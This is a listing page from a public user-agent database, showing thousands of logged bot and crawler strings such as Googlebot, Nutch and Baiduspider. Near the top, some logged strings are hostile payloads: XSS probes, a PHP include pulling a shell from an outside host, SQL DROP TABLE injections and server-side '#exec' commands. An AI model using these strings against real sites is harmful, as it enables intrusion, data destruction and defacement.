Browsing Category "All Bots" - Bots vs Browsers

Bots vs Browsers - Public Bot / User Agent Database & Commentary
Home \| Archives \| About User Agents \| User Agent Test Track \| Recent Additions \| Contributors \| Donate \| Top Searches \| User Agent IP Directory

Bots vs Browsers - database of 872,055 user agents and growing

Browsing Category "All Bots"
Description: All bots that we have identified belong to this category.
5000 User Agents Found.
!?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat) !Susie (http://www.sync2it.com/susie) "<script>alert(/hi/)</script>" ">'><script><?php include('http://hack-bay.com/Shells/gny.txt?'); ?>&... ">'><script>alert(123)</script> ">'><script>alert(123)</script> FirePHP/0.3 "><script>alert(/xss/)</script> "><script>alert(document.cookie)</script> "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://ww... "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www... "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www... "Googlebot/2.1 (+http://www.google.com/bot.html,gzip(gfe) (via translate.google.com)" "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" "GoogleBot/2.1" "Googlebot/2.1" (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727;... "Googlebot/2.1" (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CL... "Googlebot/2.1",gzip(gfe) (via translate.google.com) "Googlebot/2.1+(+http://googlebot.com/bot.html)" "Googlebot/2.1+(+http://www.google.com/bot.html)" "Googlebot/2.1+(+http://www.googlebot.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://w... "Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://ww... "Googlebot/2.1+(http://www.google.com/bot.html)" "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)" "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" (compatible; MSIE 7.0; Wind... "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" (compatible; MSIE 8.0; Wind... "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4pre) Gecko/2008021019 Fedora/2.0 "Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.go... "Testbot/1.0 (compatible; Testbot/1.0; +http://www.testbot.com/bot.html "Testbot/1.0 (compatible; Testbot/1.0; +http://www.testbot.com/bot.html" "YahooFeedSeeker/2.0+(compatible;+Mozilla+4.0;+MSIE+5.5;+http://publisher.yahoo.com/rssguide)" # UA "Googlebot-Image/1.0" # UA "Googlebot-Image/1.0" # UA "Googlebot-Image/1.0" # UA "Googlebot/Test (+http://www.googlebot.com/bot.html)" # UA "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)" # UA "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" # UA Googlebot-Image/1.0 FirePHP/0.3 #1 in Business Networking, www.MarcusWalker.ws $_agentname %3Cscript%3Dalert('helo');%3C/script%3D &I=F4750FF73B4079D9DD67B33448E2ED88-4FAA9F0878DA42FB-00C0DC9C8F282D2D-www.versionsofthebible.org '';!--"<>=&{()}<a href="http://cstrikedownload.xtgem.com">onl... '';!--"<>=&{()}<a href="http://google.com">online java game&a... '';!--"<>=&{()}<a href="http://unicornleapfrog.com/Shooting/UFOS"&am... '); select * from user;-- '; DROP TABLE IF EXISTS user,users,members,admin,log,logs,data,post,posts,news -- '; DROP TABLE-- ">'><h1>I made you a cookie, but I eated it :( .</h1>... 'autokrawl' 'Googlebot/2.1 'Mediapartners-Google' ( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi ) (+http://www.google.com/bot.html) (compatible; Googlebot/2.1; +http://www.google.com/bot.html) (Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html); ; ) (http://www.googlebot.com/bot.html) * Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) /Nutch-0.9 /Nutch-0.9-dev Googlebot/2.1+ (+http://www.google.com/bot.html) +http//www.google.com/bot.html +http://hilfe.acont.de/bot.html ACONTBOT +http://www.google.com/bot.html +http://www.google.com/bot.html) +http://www.googlebot.com/bot.htm +http://www.googlebot.com/bot.html +kmem/kernel_memory (Pinto; Turbo EFI) 2300_4-cylinder +SitiDi.net/SitiDiBot/1.0 (+Have Good Day) --><script>alert('pwned') -http://www.googlebot.com/bot.html ./bbl_list.pl/0.1 libwww-perl/5.805 ./get_title2.cgi/0.1 libwww-perl/5.837 .NET Framework Test Client / \ " <br> <a href="http://www.bash.ch/">www.bash.ch</a&am... /usr/bss_miner/user_agents : Robot/1.0 (linux) (admin e-mail: http://www.neofonie.de/loesungen/search/robot.html undefined) : Robot/1.0 (linux) (admin e-mail: http://www.neofonie.de/loesungen/search/robot.html undefined),gzip(gfe) (via translat... ::_detectURL ;'"><script>window.location="http://trizen.home.ro/sexy"</script&... ;'"><script>window.location="http://trizen.home.ro/test.html"</sc... <!--#exec cmd="/bin/id"--> <!--#exec cmd="ls"--> <? SELECT * FROM information_schema.tables WHERE information_schema=database() ?> <?php 'UNION ALL SELECT 1,2,3,4,5' php?> <?php echo "B" ?> <?php phpinfo(); ?> <b> Runnk RSS finder: http://www.runnk.com/il/law : Israeli legal : Mishpat : עו&#... <b>Sawah Bwowser V 1.59 (WinXP)</b> <body onunload="javascript:alert('Trizen');"> <iframe src="http://trizen.home.ro" width="800" height="600&quot... <iframe src=http://trizen.home.ro width=800 height=600> <iframe src=http://trizen.home.ro/sexy width=800 height=600> <img src="http://www.google.com/intl/en_ALL/images/logo.gif" alt="GO FUCK YOURSELF&... <img src="javascript:alert('TriZeN')"> <IMG SRC=http://i.zdnet.com/blogs/hacked_message.jpg> <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty... <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty... <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty... <useragent description="User Agent" useragent="Mozilla/5.0 (compatible; Googlebot/2.1;... ?<script.error?/?danish? (sjc0.tdmsic.org - Red Hat) ?><?php phpinfo(); ?> ?script.error?/?danish? (sjc0.tdmsic.org - Red Hat) @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html&quot... @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html&quot... @=�Googlebot/2.1? (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Creative AutoUpdate v1.10.10) @=”Googlebot/2.1? (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Creative AutoUpdate v1.10.1... [HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User agente] @ = "Googlebot/2.1&... \' exec sp_MSforeachtable "DROP TABLE ? PRINT '? dropped' " ^Byte (http://CaretByte.com) ^Nail (http://CaretNail.com) _detectURL {0}{1}VelocityWebshots/3.0 (+http://webshots.velocitysc.com) 100pulse/1.0 12345 AutoPager/0.5.2.2 (http://www.teesoft.info/) 12345 FirePHP/0.3 12345 MRA 5.6 (build 03278); 12345 MRA 5.6 (build 03278); SmartLinksAddon 123peoplebot/1.0 123spider-Bot (Version: 1.02, powered by www.123spider.de 12scripts.com / Redirect v1.26 1st ZipCommander (Net) - http://www.zipcommander.com/ 20090608_web_ab larbin2.6.3@unspecified.mail 20090608_web_ac larbin2.6.3@unspecified.mail 20090608_web_ad larbin2.6.3@unspecified.mail 20090608_web_aq larbin2.6.3@unspecified.mail 20090608_web_as larbin2.6.3@unspecified.mail 20090608_web_bf larbin2.6.3@unspecified.mail 20090717_aa_page larbin2.6.3@unspecified.mail 20090717_ab_page larbin2.6.3@unspecified.mail 360jinrong.com(http://www.360jinrong.com/new/index.asp) 4.1.0 Profile 4.Platz im GIGA-Homepage-Award - http://www.computerproblemboard.de 411.info 411.info Crawler (http://411.info) 411.info WebBot/0.1 (http://411.info/) 50.nu V0.01 beta ( http://www.50.nu/bot.html ) 50.nu/0.01 ( +http://50.nu/bot.html ) 66.249.64.13 - crawl-66-249-64-13.googlebot.com 66.249.65.70 - crawl-66-249-65-70.googlebot.com 8484 Boston Project v 1.0 8bo Crawler Bot A .NET Web Crawler A-listed Tablet-emu.view/danish (sjc0.tdmsic.org - Red Hat) “Googlebot/2.1+(+http://www.google.com/bot.html)" “Googlebot/2.1+(+http://www.google.com/bot.html)” “Googlebot/2.1+(+http://www.google.com/bot.html)”. “Googlebot/2.1+(+http://www.googlebot.com/bot.html)” “Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/... ”Mozilla/5.0 Googlebot/2.1 (+http://www.googlebot.com/bot.html) „Googlebot/2.1 (+http://www.google.com/bot.html)“ â€œGooglebot/2.1+(+http://www.googlebot.com/bot.html)â€ Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.goo... A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27 A1 Sitemap Generator/1.4.9 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2007.07.09 abc/Nutch-0.9-dev (abc; http://abc#11.us; abc at abc dot com) Abortion.sg/Nutch-1.1 (www.Abortion.sg; crawler@Abortion.sg) Abot abot/0.1 (abot; http://www.abot.com; abot@abot.com) AboutUsBot ac-baidu.bot AC-BaiduBot/1.1(+http://www.ac-baidu.com) AcadiaUniversityWebCensusClient Accoona-AI-Agent/1.1.1 (crawler at accoona dot com) Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com) Ace Explorer ACME Corporation/Nutch-1.0 (ACME Spider; http://www.acme.com; test123@spam.la) AcoiRobot Acoon-Robot 4.0.0RC2 (http://www.acoon.de) Acoon-Robot 4.0.1 (http://www.acoon.de) Acoon-Robot 4.0.2.17 (http://www.acoon.de) Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org) acquia-crawler (detected bad behaviour? please tell us at it@acquia.com) AcquiaCrawler Active Whois 4488 http://www.johnru.com/active-whois/ ActiveWorlds/3.xx (xxx) Ad Muncher v4.7 Build 27105/1371 Ad Muncher v4.71 Build 28140/1889 [1742] Ad Muncher v4.72 Build 30400/1967 Ad Muncher v4.72 Build 30400/2235 Ad Muncher v4.81 Build 31376/2807 adidxbot/1.1 (+http://search.msn.com/msnbot.htm) Adirbot/1.0 (+http://www.adir.com) AdsBot-Google AdsBot-Google (+http://www.google.com/adsbot.html) AdsBot-Google (TEST) AdsBot-Google-Mobile (Android; +http://www.google.com/adsbot.html) AppleWebKit AdsBot-Google-Mobile (Mozilla/5.0 (Linux; U; Android 1.0) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile S... AdsBot-Google-Mobile (Mozilla/5.0 (Linux; U; Android 1.0) AppleWebKit/525.10+(KHTML, like Gecko) Version/3.0.4 Mobile Sa... AdSenserBot AdultsVisit.us/Nutch-1.0 (www.AdultsVisit.us; crawler@AdultsVisit.us) AdultsVisitUs/Nutch-1.1 (www.AdultsVisitUs.com; crawler@AdultsVisitUs.com) Advanced URL Catalog 2.x AEL/www.ael.be - Anonymous Proxy - We protect fundamental rights (Linux; Intel) AESOP_com_SpiderMan africa/Nutch-0.9 (africa; localhost; localhost) again/1.0 agbot/1.0 (AgHaven.com search engine crawler; http://search.aghaven.com; bot@aghaven.com) AgentName/0.1 libwww-perl/5.812 AgentName/0.1 libwww-perl/5.813 AgentName/0.1 libwww-perl/5.831 AgentName/0.1libwww-perl/5.805 AgentName/0.1libwww-perl/5.836 agentname/Nutch-1.0-dev Aghaven/Nutch-1.2 AHSHTTP_POST_R AIBOT/2.1 By +(www.21seek.com , A Real artificial intelligence search engine , China) AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China) AideRSS 2.0 (postrank.com) AideRSS/1.0 (aiderss.com) AideRSS/2.0 (aiderss.com) aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com) aipbot/2 (aipbot; http://www.aipbot.com; aipbot@aipbot.com) aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com) AISearchBot (Email: aisearchbot@gmail.com; If your web site doesn't want to be crawled, please send us a email.) AISearchBot (Email: aisearchbot@gmail.com; We love searching and we'll stop crawling immediately depending on your attit... AJakieToMaZnaczenie/11.2 (compatible; R2D2; C3PO 12-bit; pl-PL) Future/20090507 Jejku/1.2.3.4 Aji%20Reader/2.5 CFNetwork/459 Darwin/10.0.0d3 ajSitemap ( www.web-max.ca/freeware/ajSitemap ) AKHBOT/1.1 (compatible; MSIE 7.0; Windows NT 6.0) al_viewer larbin2.6.3@unspecified.mail alef/0.0 alert(/xss/) alexa v0.1.4 (http://www.openwebspider.org/) AlexfDownload AlienInvaders/1.0 (X11; U; MartianSoftware x86_64; ar-AR; rv:0.0.0) GreenSkin/20121223 Ares/1.00 (mothership) Starship/0... AlienInvaders/1.0 (X11; U; MartianSoftware xyz_2064; ar-AR; rv:0.0.0) GreenSkin/20121223 mlks/1.00 (mothership) Starship... all_web1 larbin2.6.3@unspecified.mail all_web2 larbin2.6.3@unspecified.mail all_web3 larbin2.6.3@unspecified.mail allizoM allizoM,gzip(gfe) (via translate.google.com) Allrati/1.1 (+) AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net AltaVista Intranet V2.0 www.altavista.de search-support@altavista.de Altresium/4.3 (+http://www.altresium.com/bot.html) amaya/10.1 libwww/5.4.0 amaya/11.1 libwww/5.4.0 amaya/6.4 libwww/5.3.1 amd-source-bot/Nutch-1.0 Ameblo-Crawler(Mozilla-compatible; http://ameblo.jp/star-emily/theme-10030867205.html ) Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com) amibot - http://www.amidalla.de - tech@amidalla.com libwww-perl/5.805 amibot - http://www.amidalla.de - tech@amidalla.com libwww-perl/5.831 Amit Singh/Nutch-0.9 (Amit Singh; www.cse.iitb.ac.in/~amitsingh; amitsingh@gmail.com) Amoena Toolkit/1.0 Anemone/0.3.1 Anemone/0.4.0 Anon/1.0 Anonymous Proxy at example.com (Linux; Intel) AnoProxy 1.20 Another Python Crawler AnswerBus (http://www.answerbus.com/) Ant/Ant-Nutch-1.1 (Ant Nutch Crawler; http://www.ant.com; crawler@ant.com) AntBot/Ant-Nutch-1.1 (Ant Nutch Crawler; http://www.ant.com; crawler@ant.com) Anti-XBOCT/2007 [xxx] (OS; X; JU) AntiOpensourceBot/1.1 (http://microsoft.com/antiopensourceprotection.html) Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:... AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine) AOL_Daniel_Clark_Spider/Nutch-0.9 (AOL Search; danielaclark1@aol.com) Apache Apache-HttpClient/4.0-beta2 (java 1.5) Apache-HttpClient/4.0.1 (java 1.5) Apache-HttpClient/4.0.3 (java 1.5) Apache-HttpClient/4.1 (java 1.5) Apache-HttpClient/UNAVAILABLE Apache-HttpClient/UNAVAILABLE (java 1.4) apache.org/Nutch-0.9 (apache; http://www.apache.org; users@apache.org) Apexoo Spider (http://www.apexoo.com/spider/) Apexoo Spider 1.0 Apexoo Spider 1.1 Aplix HTTP/1.0.1 Apostrophe/0.2.1.93 (compatible) filecache AppEngine-Google; (+http://code.google.com/appengine) AppEngine-Google; (+http://code.google.com/appengine; 2dgalcz) AppEngine-Google; (+http://code.google.com/appengine; appid: bypass-proxy) AppEngine-Google; (+http://code.google.com/appengine; appid: deep-diver-sandbox) AppEngine-Google; (+http://code.google.com/appengine; appid: getfavicon) appie 1.1 (www.walhello.com) AppleSyndication/54 ArabCoders 3.0 (CLR/2.2.1.1.0) ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;) aranhabot ArchitextSpider archive.org_bot Arexx (AmigaVoyager/2.95; AmigaOS/MC680x0; Mod-X by Pe) aria2 ArteLab WebCrawler ASAHA Search Engine Turkey V.001 (http://www.asaha.com/) Aside/0.1.8.72 (compatible) filecache Ask Jeeves/1.0 asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com) ASPSeek/1.2.xxpre Assonance/0.1.8.72 (compatible) filecache Asynchronous WinHTTP Demo/1.0 AsyncHttpClient 1.0 Atig::Http/b6647d90e8b2f7936a05aae175f644b131b96367 (http.rb; net-irc) Ruby/1.8.7 (x86_64-linux) atlantic/0.1 (+http://bot.macrothela.net) atlantic/0.10 (+ http://bot.macrothela.net) atlantic/0.10 (+http://bot.macrothela.net) atlantic/0.11 (+http://bot.macrothela.net) atlantic/0.2 (+http://bot.macrothela.net) atlantic/0.5 (+http://bot.macrothela.net) atlantic/0.6 (+http://bot.macrothela.net) atlantic/0.8 (+http://bot.macrothela.net) atlantic/0.9 (+http://bot.macrothela.net) AtlasGrid-Bot Atomic_Email_Hunter/4.0 Atomic_Email_Hunter/4.0 (iPod; U; CPU like Mac OS X; en; ) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A10... Atomic_Email_Hunter/4.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF83) AppleWebKit/533.1 (KHTML, like Gecko) Vers... Atrax Solutions atraxbot/0.3; http://www.atraxsolutions.com/atraxbot atraxbot/0.2 Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com) Attributor.comBot Attributor/Dejan-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com) Attributor/Nutch-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com) AurNet07 autokrawl AutoMapIt Sitemaps - HTTP Status Bot (http://www.automapit.com/headerchecker.html) AutoMapIt Sitemaps - LinkChecker Bot (http://www.automapit.com/bot.html) autowebdir 1.1 (www.autowebdir.com) Awahili/7 (http://www.awahili.com) awesomebar_scraper/1.0 aworm-injector/2.00.1a (Red Hat Server-EDT) - http://www.tdmsic.org Axmorobot indexing your site for search.axmo.com - World Wide Search Engine from Axmo.com Axonize-bot Ayna/Nutch-0.9 (Ayna Search Engine Crawler; http://www.ayna.com/; search at aynacorp dot com) Aynchronous WinHTTP Demo/1.0 Azureus/4306 baa [the_sheep] BaboomBot/1.[0-255].[0-255] (\+http://www.baboom.us) badLinks.ru`s crawler v.2 baidu bot6483052 baidu/Nutch-1.0 Baiduspider BaiduSpider+ (+; http://www.baidu.com/search/spider.htm; Ubuntu; Compatible; Version; Platform; .NET CLR 2.0.50727; Vers... Baiduspider+ (+http://www.baidu.com/search/spider_jp.html; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; ... Baiduspider+(+baidu/search/spider.htm:baidu/search/spider.htm) Baiduspider+(+http://help.baidu.jp/system/05.html) Baiduspider+(+http://www.baidu.com/search/spider.htm) Baiduspider+(+http://www.baidu.com/search/spider_jp.html Baiduspider+(+http://www.baidu.com/search/spider_jp.html) Baiduspider+(+http://www.baidu.jp/spider/) Baiduspider+(http://abwc.iespana.es/last.php) Baiduspider-favo+(+http://www.baidu.com/search/spider.htm) Baiduspider-image+(+http://www.baidu.com/search/spider.htm) baiduspider-mobile-gate Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.co... Barca/2.0.xxxx Basalt v090b BatchScan baypup/1.1 (Baypup; http://www.baypup.com/; jason@baypup.com) baypup/colbert (Baypup; http://sf.baypup.com/about; jason@baypup.com) baypup/colbert (Baypup; http://sf.baypup.com/webmasters; jason@baypup.com) BDFetch BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686) BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686),gzip(gfe) (via translate... beast/Nutch-0.9 (agentspider; beast@mail.com) BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html ) BeckyBot/2.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) becomex /Google-11.0 becomex /Nutch-0.9 becomex /Nutch-1.0 Begun Robot Crawler bender/Nutch-0.8.1 (myd@cs.stanford.edu) bensbot betaBot Biglotron-3.01 larbin2.6.3@unspecified.mail Biglotron-3.01 robot@too.org Bigsearch.ca/Nutch-0.9-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com) Bigsearch.ca/Nutch-1.0-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com) BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com) bim-zone (+http://www.bim-zone.com) Bimbot/1.0 BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/) BingSearch/1.0.0 CFNetwork/459 Darwin/10.0.0d3 binlar_2.6.3 binlar2.6.3@unspecified.mail bitlybot bitlybot/2.0 bitmagicbot/0.1 admin@bitmagic.in BitTorrent/3.4.2 BitvoUserAgent (+http://www.bitvo.com) Bitvo/0.9b Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx) Biz360 spider (blogsmanager@biz360.com; http://www.biz360.com) BKA WebSiteChecker/0.98-20080419 blackcrawl/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost) blackspider Blaiz-Bee/2.00.5502 (+http://www.blaiz.net) Blaiz-Bee/2.00.5622 (+http://www.blaiz.net) Blaiz-Bee/2.00.5655 (+http://www.blaiz.net) Blaiz-Bee/2.00.8315 (BE Internet Search Engine http://www.rawgrunt.com) bleeding-sucker-bot (+http://www.suckingbleeder.org) Blern 1.4 blind-dice Blog Conversation Project; blogs@iq.harvard.edu; http://gking.harvard.edu/blogconv/ BlogBridge 3.0.1 Discoverer (http://www.blogbridge.com/) BlogBridge 4.0 Discoverer (http://www.blogbridge.com/) Java/1.5.0_03 BlogBridge Service (http://www.blogbridge.com/) Java/1.5.0_09 BlogCorpusCrawler 1.414213 <http://wortschatz.uni-leipzig.de/~mrichter/BCC/> Bloglines/2.1 (http://www.bloglines.com; xx subscribers) Bloglines/2.1 (http://www.bloglines.com;xx subscribers) Bloglines/3.1 (http://www.bloglines.com) BlogPulseLive (support@blogpulse.com) BlogRangerCrawler/1.0 BlogSearch/1.0 +http://www.icerocket.com/ blogsearchbot-pumpkin-2 blogsearchbot-pumpkin-3 BloobyBot Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.as... Blubberlutsch/1.0 BlueCrab/4.9.5 (Macintosh; U; PPC Mac OS X; en) BlueDragon BM-WebExplorer-DLL/v1.1h BND WebSiteChecker/0.95-20080408 bnyonkqwyagacpbyfhwft bob/Nutch-0.9 (bob; http://www.google.com; x@y) BobCrawl/Nutch-0.9 (Test/Development crawler; http://notavalable.com; notavailable@notavailable.com) boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html ) boitho.com-dc/0.86 ( http://www.boitho.com/dcbot.html ) boo/Nutch-1.0 boo/Nutch-1.0 (boo) Bookdog/4.3.0 Bookdog/5.1.12 Bookdog/5.1.36 Bookdog/5.1.44 Bookdog/5.2 Bookdog/5.3.10 Bookdog/5.3.13 Bookdog/5.3.15 Bookdog/5.3.3 Bookdog/5.3.6 Bookdog/5.3.8 BookMacster/1.0.5 BookMacster/1.2.6 BookMacster/1.3.1 BookMacster/1.3.10 BookMacster/1.3.14 BookMacster/1.3.17 BookMacster/1.3.9 Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)) BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 2; en-US;) BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 3; en-US;) Booster/1.0 bot bot (Java Hotspot(TM) Server 64-Bit VM; +http://www.daniel-nowak-ug.de) Resource Description Engine Bot </a><a href='http://www.bringvictory.com'>Bring Vctory</a> - You Corrupt M... Bot Apoena 2.0; http://www.katatudo.com.br/ajuda/ Bot Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html) Bot.ara.com.tr/0.0.1 bot/1.0 bot/1.0 (bot; http://; bot@bot.bot) bot/1.0 (bot; http://www.bot.bot; bot@bot.bot) botbot 14.1.3 BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1) BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 3.0.04506.30) Botix/0.1 (<a href="http://botix.org/robot">http://botix.org/robot</a>) BotTracer; (+http://www.informacja.pl) visited appointmentnet.com BotTracer; (+http://www.informacja.pl) visited botsvsbrowsers.com BotTracer; (+http://www.informacja.pl) visited cutaboverealtyagents.com BotTracer; (+http://www.informacja.pl) visited dealershipnet.com BotTracer; (+http://www.informacja.pl) visited findasurgeononline.com BotTracer; (+http://www.informacja.pl) visited localbeautyschools.com BotTracer; (+http://www.informacja.pl) visited localcardiologists.com BotTracer; (+http://www.informacja.pl) visited localchiros.com BotTracer; (+http://www.informacja.pl) visited localdermatologists.com BotTracer; (+http://www.informacja.pl) visited localendocrinologists.com BotTracer; (+http://www.informacja.pl) visited localeyedoctor.com BotTracer; (+http://www.informacja.pl) visited localhomelenders.com BotTracer; (+http://www.informacja.pl) visited localoncologists.com BotTracer; (+http://www.informacja.pl) visited localorthopedists.com BotTracer; (+http://www.informacja.pl) visited localpathology.com BotTracer; (+http://www.informacja.pl) visited obgyn-search.com BotTracer; (+http://www.informacja.pl) visited quickcityinfo.com BotTracer; (+http://www.informacja.pl) visited therightfinancialadvisor.com BotTracer; (+http://www.informacja.pl) visited therightmover.com BoX 64 (NVidea GForce 4 Architecture); +http://microsoft-watch.org BPImageWalker BPImageWalker/2.0 (www.bdbrandprotect.com) Brand New Crawler BrightCrawler (http://www.brightcloud.com/brightcrawler.asp) BrightCrawler 1.0 (http://www.brightcloud.com/brightcrawler.asp; brightcrawler@brightcloud.com) BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html) BTbot/0.x (+http://www.btbot.com/btbot.html) BubbleGum/4.0 BuildCMS crawler (http://www.buildcms.com/crawler) Bundestrojaner_1.5 BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com) Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/) businessdbbot/v1.2 (http://www.businessdb.com/bot.php) Busiversebot/v1.0 (http://www.busiverse.com/bot.php) BuzzSoRadBot/0.1 ( http://buzz.ohsorad.com) bwh3_user_agent bwh3_user_agent (compatible; MSIE 7.0; Windows NT 6.0) FirePHP/0.1.2 bwh3_user_agent FirePHP/0.1.2 bwh3_user_agent FirePHP/0.4 c-spider.bot Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com) Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; help at amfibi dot com) Cabot/Nutch-1.2 (Amfibi's webcrawler robot; http://www.amfibi.com/cabot; cabot@amfibi.com) CacheServer caizhi/infomation/Nutch-0.8.1 CakePHP Caliperbot/1.0 (+http://www.conductor.com/caliperbot) CamontSpider/1.0 +http://epweb2.ph.bham.ac.uk/user/slater/camont/info.html cancho/Nutch-1.0 (crawl test; http://asdf.net/; asdf@asdf.net) Canookle/1.1 (+http://www.canookle.ca/spider.html) Carracas 1.4.1 Casper Bot Search CatchBot/1.0; +http://www.catchbot.com CatchBot/2.0; +http://www.catchbot.com CatchBot/3.0; +http://www.catchbot.com Catharsis/0.1.8.89 (compatible) filecache Cazoodle/Nutch-0.9-dev Cazoodle/Nutch-0.9-dev (Cazoodle Nutch Crawler; http://www.cazoodle.com; mqbot@cazoodle.com) CazoodleBot/0.0.2 (http://www.cazoodle.com/contact.php; cbot@cazoodle.com) CazoodleBot/0.0.2 (http://www.cazoodle.com; cazoodlebot@cazoodle.com) CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com) CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com) CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com; mqbot@cazoodle.com) CC-rget/5.818 libwww-perl/5.805 CC-rget/5.818 libwww-perl/5.813 CC-rget/5.818 libwww-perl/5.823 CC-rget/5.818 libwww-perl/5.831 CC-rget/5.818 libwww-perl/5.834 CCBot/1.0 (+http://www.commoncrawl.org/bot.html) ccnurl bot 1.0 (http://ccn.tw) ccubee/2008 ccubee/3.5 CentiverseBot - investigator CentiverseBot - investigator/3.0 (http://www.centiverse-project.net) cf_crawler/0.1 libwww-perl/5.808 cfetch/1.0 CFG_SPIDER_USER_AGENT cfnetwork CFNetwork/1.1 CFNetwork/10.4.3 CFNetwork/129.13 CFNetwork/129.16 CFNetwork/129.18 CFNetwork/129.19 CFNetwork/129.20 CFNetwork/129.21 CFNetwork/129.22 CFNetwork/152.4 CFNetwork/217 CFNetwork/220 CFNetwork/221.5 CFNetwork/330 